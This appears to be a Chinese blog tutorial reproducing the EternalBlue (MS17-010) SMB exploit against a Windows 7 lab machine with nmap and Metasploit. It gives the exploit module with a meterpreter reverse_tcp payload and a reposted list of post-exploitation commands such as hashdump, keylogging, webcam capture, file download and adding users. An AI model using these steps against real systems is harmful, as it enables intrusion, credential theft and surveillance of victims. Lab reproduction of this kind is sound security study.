永恒之蓝漏洞复现

发布时间:2023年12月19日

前言

漏洞描述:Microsoft Windows SMB Server远程代码执行漏洞Microsoft Server Message Block 1.0 (SMBv1)服务器处理某些请求时,在实现上存在远程代码执行漏洞,成功利用后可使攻击者在目标服务器上执行任意代码。如果攻击失败,会导致拒绝服务,对业务造成一定安全风险。

Microsoft Windows Server 2016、Microsoft Windows Server 2012 R2、Microsoft Windows Server 2012、Microsoft Windows Server 2008 R2、Microsoft Windows Server 2008、Microsoft Windows RT 8.1等等

官方描述:Microsoft Security Bulletin MS17-010 - Critical | Microsoft Learn

?????? kali下载:Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

?????? Windows7下载:MSDN, 我告诉你 - 做一个安静的工具站

一、环境搭建

1、关闭Windows7防火墙

选择“ 开始 ” ,然后打开“ 控制面板 ” >” 系统和安全 “>” windows防火墙 ”>“打开或关闭Windows防火墙”>”关闭Windows防火墙“

2、设置在同一网段

虚拟机网络适配器模式改为NAT或桥接模式,使攻击机和靶机在同一网段。

菜单栏选择“虚拟机“>”设置”>“网络适配器“>”NAT模式“或”桥接模式“

3、查询Windows和kali的IP地址

攻击机kali IP :192.168.13.128?? ?????????

查询方法:右键呼出菜单点击“在这里打开终端“

#kali汉化方法:kali如何切换成中文_kali设置中文_徐丰年as的博客-CSDN博客

输入代码:ifconfig

靶机Windows7 IP :192.168.13.129??????

查询方法:win+r呼出运行窗口输入“cmd“

输入代码:ipconfig

4、查询是否在同一网段

用kali ping Windows7查看是否在同一网段

命令:ping 192.168.13.129 -c 4

-c 4 :限制测试次数为4次(节省时间,若不添加kali默认一直执行可用ctel + c 结束)

二、信息收集

1、用nmap工具扫描靶机查看目标信息

命令为:nmap -A -T4 -sV 192.168. 13.129

-A 选项用于使用进攻性(Aggressive)方式扫描;

-T4 指定扫描过程使用的时序(Timing),T4表示快速扫描。

总共有6个级别(0-5),级别越高,速度越快,但也容易被防火墙发现;

-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,

包括扫描进度、发现的开放端口和服务信息等。

-sV:获取对应端口上更为详细的服务版本信息

确定操作系统为Windows7 开放445端口尝试ms17-010漏洞利用

三、漏洞利用

打开msf软件

查询ms17-010漏洞

先通过3 auxiliary/scanner/smb/smb_ms17_010查询是否存在该漏洞

代码:use 3 或 use auxiliary/scanner/smb/smb_ms17_010

show options 查看设置必选项(#Required 为yes的是必选设置)

set rhosts 192.168.13.129设置目标IP

run启动

发现目标系统存在ms17-010漏洞

使用代码:use 0 或use exploit/windows/smb/ms17_010_eternalblue利用exploit模块

show options查看配置必选项(#Required 为yes的是必选设置)

set payload windows/x64/meterpreter/reverse_tcp设置攻击载荷

set rhosts 192.168.13.129设置目标IP

run启动

设置完必选项直接启动得到Windows7权限

出现meterpreter>表示成功进入系统

四、后渗透攻击

使用?查询可执行命令

meterpreter可执行指令

转载:

Meterpreter的常用命令合集_meterpreter命令大全_先瘦个二十斤的博客-CSDN博客

一、基本命令

  1. help# 查看Meterpreter帮助
  2. background#返回,把meterpreter后台挂起
  3. bgkill# 杀死一个背景 meterpreter 脚本
  4. bglist#提供所有正在运行的后台脚本的列表
  5. bgrun#作为一个后台线程运行脚本
  6. channel#显示活动频道
  7. sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 接到指定序号的meterpreter会话已继续利用
  8. sesssions -k? number #与会话进行交互
  9. close# 关闭通道
  10. exit# 终止 meterpreter 会话
  11. quit# 终止 meterpreter 会话
  12. interact id #切换进一个信道
  13. run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
  14. irb# 进入 Ruby 脚本模式
  15. read# 从通道读取数据
  16. write# 将数据写入到一个通道
  17. run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
  18. use# 加载 meterpreter 的扩展
  19. load/use#加载模块
  20. Resource#执行一个已有的rc脚本

二、文件系统命令

  1. getwd 或者pwd # 查看当前工作目录?
  2. ls? #
  3. cd
  4. mkdir lltest2? #只能在当前目录下创建文件夹
  5. rmdir lltest2? #只能删除当前目录下文件夹
  6. getlwd?? 或者 lpwd?? #操作攻击者主机 查看当前目录
  7. lcd /tmp?? #操作攻击者主机 切换目录
  8. cat c:\\lltest\\lltestpasswd.txt? # 查看文件内容
  9. upload /tmp/hack.txt C:\\lltest? # 上传文件到目标机上
  10. download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
  11. edit c:\\1.txt #编辑或创建文件? 没有的话,会新建文件

三、系统命令

  1. getsystem?????? #会自动利用各种各样的系统漏洞来进行权限提升
  2. migrate????????? #进程id进程迁移
  3. background???? #把当前的会话设置为背景,需要的时候在启用
  4. getuid?????????? #查看对方正在运行的用户
  5. ps????????????? #列出所有的进程
  6. getpid????????? #返回运行meterpreter的id号
  7. sysinfo???????? #产看系统信息和体系结构
  8. shell?????????? #切换到cmd的系统权限方式
  9. exit?????????? #退出shell会话返回meterpreter或终止meterpreter
  10. getdesktop??? 截取目标主机当前桌面会话窗口
  11. run webcam -p /var/www??? #在/var/www目录监控目标主机的摄像头
  12. keylog_recorder?? #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘

四、远程桌面&截屏

  1. run getgui -e #开启远程桌面
  2. run getgui -u user1 -p 123?? #添加用户
  3. run getgui -f 4444 –e?? #3389端口转发到6661
  4. enumdesktops? #查看可用的桌面
  5. getdesktop??? #获取当前meterpreter 关联的桌面
  6. set_desktop?? #设置meterpreter关联的桌面? -h查看帮助
  7. screenshot? #截屏
  8. use espia? #或者使用espia模块截屏? 然后输入screengrab
  9. run vnc? #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
文章来源:https://blog.csdn.net/2301_77927094/article/details/132754382
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。